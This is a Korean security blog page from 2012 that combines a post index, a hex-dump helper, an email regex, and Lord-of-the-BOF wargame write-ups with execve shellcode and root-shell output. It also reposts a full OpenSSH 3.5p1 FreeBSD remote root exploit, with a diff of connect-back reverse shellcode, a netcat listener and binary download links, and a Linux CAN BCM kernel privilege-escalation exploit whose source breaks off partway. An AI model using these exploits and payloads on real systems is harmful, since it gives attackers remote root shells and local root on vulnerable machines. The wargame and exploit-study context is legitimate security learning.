'k1rha`s Node'에 해당되는 글 388건

  1. 2012.04.27 ohhara 덤프 코드 출력 코드 헤더 [펌]
  2. 2012.04.22 이메일 정규 표현식 체크 (Formal expression for E-mail check)
  3. 2012.04.17 FAKE EBP 공격 기법 (LOB level 16) (About attack of FAKE EBP)
  4. 2012.04.17 SPO 공격 기법에 대하여(LOB level12) (About attack of SPO)
  5. 2012.04.15 SSH 리모트 익스플로잇 FreeBSD 환경 (OpenSSH 3.5p1 Remote Root Exploit for FreeBSD)
  6. 2012.04.15 Kernel 2.6.36-rc1 CAN BCM privilege local exploit
  7. 2012.04.15 FreeBSD 6.0 local exploit
  8. 2012.04.15 kernel 2.4.4 to 2.4.37.4 From 2.6.0 to 2.5.30.4 local exploit
  9. 2012.04.13 음성채팅 프로그램 분석 [client] (Analysis about Voice chat) 1
  10. 2012.04.12 음성 파일 보낼때 음성타입 구조체 (The structure WAVE for Matex)
  11. 2012.04.01 해커스쿨 level20 문제풀이 (solution of hackerschool ftz level20)
  12. 2012.04.01 내가낸 HUST 해킹대회 K번 문제 풀이법 2
  13. 2012.04.01 파일 디버그 스트립에 관하여.. (about file dug strip)
  14. 2012.03.31 [vortex] level2 -> level3
  15. 2012.03.29 [vortex] level1 -> level2
  16. 2012.03.29 포멧 스트링 버그 정리 hakerschool level20 (formet string bug reporting with hackerschool level20)) 1
  17. 2012.03.25 php 업로드 코드 부분 코드 (필터적용 인젝션 방지) code of php file upload (adding fillter and defend of injection)
  18. 2012.03.23 시스템 바이너리 문제 다운 받아 분석하는 방법 (System Binary file Download method in remote enviroment) 1
  19. 2012.03.21 calloc vs malloc 함수의 비교 2
  20. 2012.03.21 MFC에서 중복실행 방지 코드
  21. 2012.03.21 unix 환경에서 getopt() 사용하기.. 파라미터 값으로 옵션주기.
  22. 2012.03.21 network nonblocking socket 넌블러킹 소켓
  23. 2012.03.21 원격지 login 인자값 넘기기
  24. 2012.03.21 opendir 디렉토리를 열어보는 함수.
  25. 2012.03.21 android 에 phone gap 설치하기 (펌)
  26. 2012.03.21 안드로이드 가로로 돌아가는 기능 막기
  27. 2012.03.21 android json parsing .. json 파싱하기.
  28. 2012.03.21 퍼즐 슬라이딩할때 사용한 ontouchevent 사용하기.
  29. 2012.03.21 안드로이드 프로젝트 앱이름 프로젝트나 아이콘 바꾸기
  30. 2012.03.21 shared preference 입출력 (안드로이드에서 공유 환경 변수 두기)
2012. 4. 27. 21:14

다음은 국내 해커 ohhara님이 이미 만들어 놓으신 dumpcode.h라는 헤더입니다. ==================================================================== // dumpcode.h by ohhara void printchar(unsigned char c) { if(isprint(c)) printf("%c",c); // 해당하는 값을 문자로 표시 else printf("."); // 출력 불가능한 문자는 그냥 .으로 표시 } // 메모리 시작 주소와 출력할 크기를 인자로 받음 void dumpcode(unsigned char *buff, int len) { int i; for(i=0;i<len;i++) { // 16바이트 단위로 주소 출력 if(i%16==0) printf("0x%08x ",&buff[i]); // hex 값 출력 printf("%02x ",buff[i]); // 해당 16진수들을 각각 문자로 출력 if(i%16-15==0) { int j; printf(" "); for(j=i-15;j<=i;j++) printchar(buff[j]); printf("\n"); } } // 마지막 라인이 16바이트 이하일 경우 정렬 유지 if(i%16!=0) { int j; int spaces=(len-i+16-i%16)*3+2; for(j=0;j<spaces;j++) printf(" "); // 부족한 공간만큼 space로 이동한 후, for(j=i-i%16;j<len;j++) printchar(buff[j]); // 남은 문자 값들 출력 } printf("\n"); } ==================================================================== 이를 소스 코드에 추가하거나, 혹은 dumpcode.h로 만든 후 include 시키면 dumpcode()라는 함수를 사용할 수 있게 됩니다. 또는 dumpcode.h를 /usr/include/ 디렉토리에 복사해 넣으시면 어느 경로에서든 include하여 사용하실 수 있습니다.



아래는 또다른 덤프코드(이게 깔끔함)


 

/******************************

* RAW 메모리를 16진수로 덤프

*******************************/

void dump(const unsigned char *data_buffer, const unsigned int length) {

unsigned char byte;

unsigned int i, j;

   

for(i=0; i < length; i++) {

byte = data_buffer[i];

if (i%16 == 0)

printf("%08x: ", (unsigned int)&data_buffer[i]);

printf("%02x ", byte); // display byte in hex

   

if(((i%16)==15) || (i==length-1)) {

for(j=0; j < 15-(i%16); j++)

printf(" ");

printf(" | ");

for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line

byte = data_buffer[j];

if((byte > 31) && (byte < 127)) // outside printable char range

printf("%c", byte);

else

printf(".");

}

printf("\n"); // end of the dump line (each line 16 bytes)

} // end if

} // end for

}



Posted by k1rha
2012. 4. 22. 17:20

function CheckEmail(){
str=document.musimm.email.value
var t = escape(str);
//sung2li@naver.com 일때와 sung2li@naver.co.kr일때의 형식 체크
if(t.match(/^(\w+)@(\w+)[.](\w+)$/ig) == null && t.match(/^(\w+)@(\w+)[.](\w+)[.](\w+)$/ig) == null){
alert("E-mail 형식이 잘못되었습니다.");
document.musimm.email.focus();
} else {
return true;
}
}



Posted by k1rha
2012. 4. 17. 14:44


FAKE EBP에 대해서 기술해 보도록 하겠다. 아주 특이한 케이스.. 사실 FAKE EBP는 공격 범위가 상대적으로 제한 적인 환경이다. 


레드햇 6 -> 레드햇 9으로 넘어 가면서 스택의 주소값이 random(랜덤 스택) 해지고 Fedora3 로 넘어가면서 스택(DEP)에 실행 권한이 없졌었다. 하지만 이 두가지를 전부 넘길수 있는 RTL 이라는 쉽고 편한 공격이 있기 때문에 fake ebp 같은경우엔 공격타겟이 잘 되지 않는 방향이다.  (RTL 을 그냥 쓰면되기에..)


하지만 개념적으로는 이해하기가 무척 좋다 SPO 공격 기법에서 ebp를 다루듯 SFP 에대한 instrument 는 활용도가 높기 때문이다. 뿐만 아니라 나중엔 ROP개념으로 체인을 걸어주기 위한 주소개념잡기에 도움이 많이 되는 부분이라 생각된다. 


최근 LOB문서 정리하는 일이 생기게 되었는데 겸사겸사 블로깅 해본다.


아래의 경우는 오버플로우 되는 지점의 주소값을 강제로 스택과 라이브러리 주소를 못쓰게 막아 놓았다. 때문에 코드의 흐름을 바꾸어 공격하는 FAKE_EBP공격을 사용해야 한다.


/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/

 

#include <stdio.h>

#include <stdlib.h>

 

main(int argc, char *argv[])

{

        char buffer[40];

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }

        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }

        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}





스택(\bf)도 사용 할 수 없고, 라이브러리(\xc0)도 사용 할 수 없다. 이럴 땐 12번 문제와 비슷하게 ebp를 속여서 공격하는 방법이 있다.

Leave를 한번 더 실행 시키는 기계어 \xc3\xc9 가 있는 주소값을 찾아 ret에 덮으면 leave가 한번더 실행되면서 원래의 ebp fake_ebp로 바꿀 수 있다.

Fake_ebp+4 한주소에                               [SFP]                   [ RET ]

&(buffer+4) + NOP +SHELLCODE         &(BUFFER-4)             c3c9 = leave +RET

                                                                                                  [buffer-4] -> buffer+4 =실행

 

 거꾸로 분석을 들어가면 편하다.  RET 에 들어가 있는 코드는 c3c9 의 주소이므로 leave ret을 한번 더 실행 시킨다. 이때 eip POP 하게 되면 4바이트를 소모하므로 buffer-4를 입력해 놓는 것이다이렇게 실행된 leave buffer 부분에는 있는 값을 EBP의 주소 값으로 참조 한다.

buffer의 처음 4 바이트는 buffer+4의 주소의 주소 값이 설정 되어 있으므로 buffer+4의 주소값을 EBP로 잡고 이 부분을 실행하게 된다. 





[assassin@localhost assassin]$ /bin/bash2

[assassin@localhost assassin]$ ./zombie_assassie `perl -e 'print "bbbb","\x90"x36,"cccc","dddd"'`

bbbbccccdddd

Segmentation fault (core dumped)

[assassin@localhost assassin]$ gdb -c core

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux".

Core was generated by `./zombie_assassie bbbbccccdddd'.

Program terminated with signal 11, Segmentation fault.

#0  0x64646464 in ?? ()

(gdb) x/30x $esp-64

0xbffffaa0:     0xbffffad8      0x080484dc      0x0804857e      0xbffffab0

0xbffffab0:     0x62626262      0x90909090      0x90909090      0x90909090

0xbffffac0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffad0:     0x90909090      0x90909090      0x63636363      0x64646464

0xbffffae0:     0x00000002      0xbffffb24      0xbffffb30      0x40013868

0xbffffaf0:     0x00000002      0x08048390      0x00000000      0x080483b1

0xbffffb00:     0x08048440      0x00000002      0xbffffb24      0x080482e4

0xbffffb10:     0x0804851c      0x4000ae60

(gdb) print/x 0xbffffab0 - 0x4

$1 = 0xbffffaac

(gdb) print/x 0xbffffab0 - 0x+4

Invalid number "0x".

(gdb) print/x 0xbffffab0 + 0x4

$2 = 0xbffffab4

(gdb) quit

[assassin@localhost assassin]$ ./zombie_assassie  `perl -e 'print "\xb4\xfa\xff\xbf","\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80","a"x11,"\xac\xfa\xff\xbf","\x04\x84\x04\x08"'`

´úÿ¿1Ò‰ÐRh//shh/bin‰ãRS‰á°

                          Í€aaaaaaaaaaa¬úÿ¿„

bash$ exit

exit

[assassin@localhost assassin]$ ./zombie_assassin  `perl -e 'print "\xb4\xfa\xff\xbf","\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80","a"x11,"\xac\xfa\xff\xbf","\x04\x84\x04\x08"'`

´úÿ¿1Ò‰ÐRh//shh/bin‰ãRS‰á°

                          Í€aaaaaaaaaaa¬úÿ¿„

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)

bash$
 






Posted by k1rha
2012. 4. 17. 14:43



SPO 라는 것은 EBP를 1바이트만 바꾸어주어 코드의 에필로그부분을 바꾸어 주는 공격 기법이다. 

개인적으로 이 공격이 좋은 이유는 C언어를 처음 배울 당시 내가 코딩상 많은 실수를 했던 부분이기 때문이다.

int buff[10];

for(int i=0;i<=10;i++){

buff[i];

}

이런식으로 부등호와 등호를 같이 쓰게되면 11개의 글자가 들어감으로써 1바이트가 오버플로우가 된다. 이럴때 사용할 수 있는 부분이다. 


다음은 해커스쿨 LOB 문제 12번이다. 


 

[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO

*/

#include <stdio.h>

#include <stdlib.h>

 

void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}

main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }

        problem_child(argv[1]);

}





SPO 라는 공격 기법은, sfp에 저장된 ebp값을 1바이트만 overwrite 하여 sfp 값의 앞자리만 변경하는 것이다. 이렇게 sfp 값이 변경 되었다면, 사용자 함수가 호출되고 나서, 다시 MAIN 함수로 돌아올 값이 sfp 값에 저장되게 되는데 이 값을 1바이트만 write 시켜줘서 다른 경로로 빠지게 만들 수 있다


이를 이용하여 공격을 하는 것이다.

변경된 sfp를 가지고 ret을 설정하는 과정에서(leave,ret) ebp+4(pop 때문에) ebp+4된 곳의 주소에서 주소 값을 가져와서 그것을 eip로 설정한다  그리고 그 다음 4바이트는 buffer의 주소값이 들어가 있으므로 buffer-8 의 주소 값을 ebp로 셋팅해 주면 된다.
 




[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"+"\xa8"'`

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$
 


Posted by k1rha
2012. 4. 15. 02:56

OpenSSH 3.5p1 Remote Root Exploit for FreeBSD

Discovered and Exploited By Kingcope

Year 2011

--

 

The last two days I have been investigating a vulnerability in OpenSSH

affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run

OpenSSH 3.5p1 in the default install.

 

The sshd banner for 4.11-RELEASE is "SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930".

 

A working Remote Exploit which spawns a root shell remotely and

previous to authentication was developed.

 

The bug can be triggered both through ssh version 1 and ssh version 2

using a modified ssh client. During the investigation of the vulnerability it was found that

the bug resides in the source code file "auth2-pam-freebsd.c".

 

http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c

 

This file does not exist in FreeBSD releases greater than 5.2.1. The last commit

is from 7 years ago.

 

Specifically the bug follows a code path in the PAM Authentication Thread inside this

source code, "pam_thread()". It could not be verified if the bug is inside this

(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.

 

Both the challenge response (ssh version 1) and keyboard interactive via pam

(ssh version 2) authentications go through this code path.

 

By supplying a long username to the daemon the sshd crashes.

 

h4x# sysctl kern.sugid_coredump=1

kern.sugid_coredump: 0 -> 1

 

root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138

 

h4x# tail -1 /var/log/messages

Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)

 

Looking into the coredump reveals:

 

h4x# gdb -c /sshd.core

GNU gdb 4.18 (FreeBSD)

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-unknown-freebsd".

Core was generated by `sshd'.

Program terminated with signal 11, Segmentation fault.

#0  0x28092305 in ?? ()

(gdb) x/1i $eip

0x28092305:     (bad)

 

The sshd crahes at a place with illegal instructions. It looks like it depends

on how the sshd is started. Starting the sshd from the console as root and running

the ssh client with long username again reveals:

 

h4x# killall -9 sshd

h4x# /usr/sbin/sshd

 

root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138

 

h4x# gdb -c /sshd.core

GNU gdb 4.18 (FreeBSD)

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-unknown-freebsd".

Core was generated by `sshd'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) x/10i $eip

0x41414141:     Cannot access memory at address 0x41414141.

 

As you can see in the above gdb output we can control EIP completely.

If someone finds out on what this behaviour depends, especially why EIP can

be controlled when starting sshd in the console and can not be easily controlled

when being run from the boot sequence, please drop me an email at

isowarez.isowarez.isowarez (at) googlemail.com

 

Anyhow this procedure shows that the sshd can be exploited because the instruction

pointer can be fully controlled.

 

The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client.

Using a reverse shellcode it will spawn a rootshell.

 

Only one offset is needed, the position of the shellcode can be found the following way:

 

h4x# gdb -c /sshd.core

GNU gdb 4.18 (FreeBSD)

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-unknown-freebsd".

Core was generated by `sshd'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) set $x=0x08071000

(gdb) while(*++$x!=0x90909090)

 >end

(gdb) x/10b $x

 

The printed address is the beginning of the shellcode nopsled.

 

Attached is the Proof of Concept as a diff to OpenSSH-5.8p2.

 

It roughly does the following:

 

root@debian:~# ./ssh -1 192.168.32.138

 

root@debian:~# nc -v -l -p 10000

listening on [any] 10000 ...

192.168.32.138: inverse host lookup failed: Unknown host

connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038

uname -a;id;

FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005     root (at) perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

uid=0(root) gid=0(wheel) groups=0(wheel)

 

--

 

root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c

667a668,717

> // Connect Back Shellcode

>

> #define       IPADDR  "\xc0\xa8\x20\x80"

> #define PORT  "\x27\x10"              /* htons(10000) */

>

> char sc[] =

>    "\x90\x90"

>    "\x90\x90"

>    "\x31\xc9"                 // xor    ecx, ecx

>    "\xf7\xe1"                 // mul    ecx

>    "\x51"                     // push   ecx

>    "\x41"                     // inc    ecx

>    "\x51"                     // push   ecx

>    "\x41"                     // inc    ecx

>    "\x51"                     // push   ecx

>    "\x51"                     // push   ecx

>    "\xb0\x61"                 // mov    al, 97

>    "\xcd\x80"                 // int    80h

>    "\x89\xc3"                 // mov    ebx, eax

>    "\x68"IPADDR                       // push   dword 0101017fh

>    "\x66\x68"PORT             // push   word 4135

>    "\x66\x51"                 // push   cx

>    "\x89\xe6"                 // mov    esi, esp

>    "\xb2\x10"                 // mov    dl, 16

>    "\x52"                     // push   edx

>    "\x56"                     // push   esi

>    "\x50"                     // push   eax

>    "\x50"                     // push   eax

>    "\xb0\x62"                 // mov    al, 98

>    "\xcd\x80"                 // int    80h

>    "\x41"                     // inc    ecx

>    "\xb0\x5a"                 // mov    al, 90

>    "\x49"                     // dec    ecx

>    "\x51"                     // push   ecx

>    "\x53"                     // push   ebx

>    "\x53"                     // push   ebx

>    "\xcd\x80"                 // int    80h

>    "\x41"                     // inc    ecx

>    "\xe2\xf5"                 // loop   -10

>    "\x51"                     // push   ecx

>    "\x68\x2f\x2f\x73\x68"     // push   dword 68732f2fh

>    "\x68\x2f\x62\x69\x6e"     // push   dword 6e69622fh

>    "\x89\xe3"                 // mov    ebx, esp

>    "\x51"                     // push   ecx

>    "\x54"                     // push   esp

>    "\x53"                     // push   ebx

>    "\x53"                     // push   ebx

>    "\xb0\xc4\x34\xff"

>    "\xcd\x80";                // int    80h

>

679a730,737

>       char buffer[8096];

>

>       // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1

>       memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24);

>       memset(buffer+24, '\x90', 5000);

>       memcpy(buffer+24+5000, sc, sizeof(sc));

>       server_user=buffer;

>

690a749

>

 

Cheers,

Kingcope

 

 

A statically linked linux binary of the exploit can be found below attached is a diff to openssh-5.8p2.

 

the statically linked binary can be downloaded from http://isowarez.de/ssh_0day

Mirror: http://www.exploit-db.com/sploits/ssh_0day.tar.gz

 

run like ./ssh -1 -z <yourip> <target>

setup a netcat, port 443 on yourip first


Posted by k1rha
2012. 4. 15. 02:56

/*  


 * i-CAN-haz-MODHARDEN.c  


 *  


 * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit  


 * Jon Oberheide <jon@oberheide.org>  


 * http://jon.oberheide.org  


 *   


 * Information:  


 *  


 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959  


 *  


 *   Ben Hawkes discovered an integer overflow in the Controller Area Network  


 *   (CAN) subsystem when setting up frame content and filtering certain   


 *   messages. An attacker could send specially crafted CAN traffic to crash   


 *   the system or gain root privileges.   


 *  


 * Usage:  


 *  


 *   $ gcc i-can-haz-modharden.c -o i-can-haz-modharden  


 *   $ ./i-can-haz-modharden  


 *   ...  


 *   [+] launching root shell!  


 *   # id  


 *   uid=0(root) gid=0(root)  


 *  


 * Notes:  


 *  


 *   The allocation pattern of the CAN BCM module gives us some desirable   


 *   properties for smashing the SLUB. We control the kmalloc with a 16-byte  


 *   granularity allowing us to place our allocation in the SLUB cache of our  


 *   choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for   


 *   old-times sake). The allocation can also be made in its own discrete   


 *   stage before the overwrite which allows us to be a bit more conservative   


 *   in ensuring the proper layout of our SLUB cache.  


 *  


 *   To exploit the vulnerability, we first create a BCM RX op with a crafted   


 *   nframes to trigger the integer overflow during the kmalloc. On the second  


 *   call to update the existing RX op, we bypass the E2BIG check since the   


 *   stored nframes in the op is large, yet has an insufficiently sized   


 *   allocation associated with it. We then have a controlled write into the   


 *   adjacent shmid_kernel object in the 96-byte SLUB cache.  


 *  


 *   However, while we control the length of the SLUB overwrite via a   


 *   memcpy_fromiovec operation, there exists a memset operation that directly   


 *   follows which zeros out last_frames, likely an adjacent allocation, with   


 *   the same malformed length, effectively nullifying our shmid smash. To   


 *   work around this, we take advantage of the fact that copy_from_user can  


 *   perform partial writes on x86 and trigger an EFAULT by setting up a   


 *   truncated memory mapping as the source for the memcpy_fromiovec operation,  


 *   allowing us to smash the necessary amount of memory and then pop out and   


 *   return early before the memset operation occurs.  


 *  


 *   We then perform a dry-run and detect the shmid smash via an EIDRM errno   


 *   from shmat() caused by an invalid ipc_perm sequence number. Once we're   


 *   sure we have a shmid_kernel under our control we re-smash it with the   


 *   malformed version and redirect control flow to our credential modifying  


 *   calls mapped in user space.  


 *  


 *   Distros: please use grsecurity's MODHARDEN or SELinux's module_request   


 *   to restrict unprivileged loading of uncommon packet families. Allowing  


 *   the loading of poorly-written PF modules just adds a non-trivial and   


 *   unnecessary attack surface to the kernel.   


 *  


 *   Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports   


 *   easily to other vulnerable kernels/distros. Careful, it could use some   


 *   post-exploitation stability love as well.  


 *  


 *   Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that   


 *   this exploit borrows code from.  


 */ 


   


#include <stdio.h>  


#include <stdlib.h>  


#include <stdint.h>  


#include <string.h>  


#include <unistd.h>  


#include <errno.h>  


#include <fcntl.h>  


#include <limits.h>  


#include <inttypes.h>  


#include <sys/types.h>  


#include <sys/socket.h>  


#include <sys/ipc.h>  


#include <sys/shm.h>  


#include <sys/mman.h>  


#include <sys/stat.h>  


   


#define SLUB "kmalloc-96"  


#define ALLOCATION 96  


#define FILLER 100  


   


#ifndef PF_CAN  


#define PF_CAN 29  


#endif  


   


#ifndef CAN_BCM  


#define CAN_BCM 2  


#endif  


   


struct sockaddr_can {  


    sa_family_t can_family;  


    int can_ifindex;  


    union {  


        struct { uint32_t rx_id, tx_id; } tp;  


    } can_addr;  


};  


   


struct can_frame {  


    uint32_t can_id;  


    uint8_t can_dlc;  


    uint8_t data[8] __attribute__((aligned(8)));  


};  


   


struct bcm_msg_head {  


    uint32_t opcode;  


    uint32_t flags;  


    uint32_t count;  


    struct timeval ival1, ival2;  


    uint32_t can_id;  


    uint32_t nframes;  


    struct can_frame frames[0];  


};  


   


#define RX_SETUP 5  


#define RX_DELETE 6  


#define CFSIZ sizeof(struct can_frame)  


#define MHSIZ sizeof(struct bcm_msg_head)  


#define IPCMNI 32768  


#define EIDRM 43  


#define HDRLEN_KMALLOC 8  


   


struct list_head {  


    struct list_head *next;  


    struct list_head *prev;  


};  


   


struct super_block {  


    struct list_head s_list;  


    unsigned int s_dev;  


    unsigned long s_blocksize;  


    unsigned char s_blocksize_bits;  


    unsigned char s_dirt;  


    uint64_t s_maxbytes;  


    void *s_type;  


    void *s_op;  


    void *dq_op;  


    void *s_qcop;  


    void *s_export_op;  


    unsigned long s_flags;  


} super_block;  


   


struct mutex {  


    unsigned int count;  


    unsigned int wait_lock;  


    struct list_head wait_list;  


    void *owner;  


};  


   


struct inode {  


    struct list_head i_hash;  


    struct list_head i_list;  


    struct list_head i_sb_list;  


    struct list_head i_dentry_list;  


    unsigned long i_ino;  


    unsigned int i_count;  


    unsigned int i_nlink;  


    unsigned int i_uid;  


    unsigned int i_gid;  


    unsigned int i_rdev;  


    uint64_t i_version;  


    uint64_t i_size;  


    unsigned int i_size_seqcount;  


    long i_atime_tv_sec;  


    long i_atime_tv_nsec;  


    long i_mtime_tv_sec;  


    long i_mtime_tv_nsec;  


    long i_ctime_tv_sec;  


    long i_ctime_tv_nsec;  


    uint64_t i_blocks;  


    unsigned int i_blkbits;  


    unsigned short i_bytes;  


    unsigned short i_mode;  


    unsigned int i_lock;  


    struct mutex i_mutex;  


    unsigned int i_alloc_sem_activity;  


    unsigned int i_alloc_sem_wait_lock;  


    struct list_head i_alloc_sem_wait_list;  


    void *i_op;  


    void *i_fop;  


    struct super_block *i_sb;  


    void *i_flock;  


    void *i_mapping;  


    char i_data[84];  


    void *i_dquot_1;  


    void *i_dquot_2;  


    struct list_head i_devices;  


    void *i_pipe_union;  


    unsigned int i_generation;  


    unsigned int i_fsnotify_mask;  


    void *i_fsnotify_mark_entries;  


    struct list_head inotify_watches;  


    struct mutex inotify_mutex;  


} inode;  


   


struct dentry {  


    unsigned int d_count;  


    unsigned int d_flags;  


    unsigned int d_lock;  


    int d_mounted;  


    void *d_inode;  


    struct list_head d_hash;  


    void *d_parent;  


} dentry;  


   


struct file_operations {  


    void *owner;  


    void *llseek;  


    void *read;  


    void *write;  


    void *aio_read;  


    void *aio_write;  


    void *readdir;  


    void *poll;  


    void *ioctl;  


    void *unlocked_ioctl;  


    void *compat_ioctl;  


    void *mmap;  


    void *open;  


    void *flush;  


    void *release;  


    void *fsync;  


    void *aio_fsync;  


    void *fasync;  


    void *lock;  


    void *sendpage;  


    void *get_unmapped_area;  


    void *check_flags;  


    void *flock;  


    void *splice_write;  


    void *splice_read;  


    void *setlease;  


} op;  


   


struct vfsmount {  


    struct list_head mnt_hash;  


    void *mnt_parent;  


    void *mnt_mountpoint;  


    void *mnt_root;  


    void *mnt_sb;  


    struct list_head mnt_mounts;  


    struct list_head mnt_child;  


    int mnt_flags;  


    const char *mnt_devname;  


    struct list_head mnt_list;  


    struct list_head mnt_expire;  


    struct list_head mnt_share;  


    struct list_head mnt_slave_list;  


    struct list_head mnt_slave;  


    struct vfsmount *mnt_master;  


    struct mnt_namespace *mnt_ns;  


    int mnt_id;  


    int mnt_group_id;  


    int mnt_count;  


} vfsmount;  


   


struct file {  


    struct list_head fu_list;  


    struct vfsmount *f_vfsmnt;  


    struct dentry *f_dentry;  


    void *f_op;  


    unsigned int f_lock;  


    unsigned long f_count;  


} file;  


   


struct kern_ipc_perm {  


    unsigned int lock;  


    int deleted;  


    int id;  


    unsigned int key;  


    unsigned int uid;  


    unsigned int gid;  


    unsigned int cuid;  


    unsigned int cgid;  


    unsigned int mode;  


    unsigned int seq;  


    void *security;  


};  


   


struct shmid_kernel {  


    struct kern_ipc_perm shm_perm;  


    struct file *shm_file;  


    unsigned long shm_nattch;  


    unsigned long shm_segsz;  


    time_t shm_atim;  


    time_t shm_dtim;  


    time_t shm_ctim;  


    unsigned int shm_cprid;  


    unsigned int shm_lprid;  


    void *mlock_user;  


} shmid_kernel;  


   


typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  


typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  


_commit_creds commit_creds;  


_prepare_kernel_cred prepare_kernel_cred;  


   


int __attribute__((regparm(3)))  


kernel_code(struct file *file, void *vma)  


{  


    commit_creds(prepare_kernel_cred(0));  


    return -1;  


}  


   


unsigned long 


get_symbol(char *name)  


{  


    FILE *f;  


    unsigned long addr;  


    char dummy;  


    char sname[512];  


    int ret = 0, oldstyle;  


   


    f = fopen("/proc/kallsyms", "r");  


    if (f == NULL) {  


        f = fopen("/proc/ksyms", "r");  


        if (f == NULL)  


            return 0;  


        oldstyle = 1;  


    }  


   


    while (ret != EOF) {  


        if (!oldstyle) {  


            ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);  


        } else {  


            ret = fscanf(f, "%p %s\n", (void **) &addr, sname);  


            if (ret == 2) {  


                char *p;  


                if (strstr(sname, "_O/") || strstr(sname, "_S.")) {  


                    continue;  


                }  


                p = strrchr(sname, '_');  


                if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {  


                    p = p - 4;  


                    while (p > (char *)sname && *(p - 1) == '_') {  


                        p--;  


                    }  


                    *p = '\0';  


                }  


            }  


        }  


        if (ret == 0) {  


            fscanf(f, "%s\n", sname);  


            continue;  


        }  


        if (!strcmp(name, sname)) {  


            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);  


            fclose(f);  


            return addr;  


        }  


    }  


    fclose(f);  


   


    return 0;  


}  


   


int 


check_slabinfo(char *cache, int *active_out, int *total_out)  


{  


    FILE *fp;  


    char name[64], slab[256];  


    int active, total, diff;  


   


    memset(slab, 0, sizeof(slab));  


    memset(name, 0, sizeof(name));  


   


    fp = fopen("/proc/slabinfo", "r");  


    if (!fp) {  


        printf("[-] sorry, /proc/slabinfo is not available!");  


        exit(1);  


    }  


   


    fgets(slab, sizeof(slab) - 1, fp);  


    while (1) {  


        fgets(slab, sizeof(slab) - 1, fp);  


        sscanf(slab, "%s %u %u", name, &active, &total);  


        diff = total - active;  


        if (strcmp(name, cache) == 0) {  


            break;  


        }  


    }  


    fclose(fp);  


   


    if (active_out) {  


        *active_out = active;  


    }  


    if (total_out) {  


        *total_out = total;  


    }  


    return diff;  


}  


   


void 


trigger(void)  


{  


    int *shmids;  


    int i, ret, sock, cnt, base, smashed;  


    int diff, active, total, active_new, total_new;  


    int len, sock_len, mmap_len;  


    struct sockaddr_can addr;  


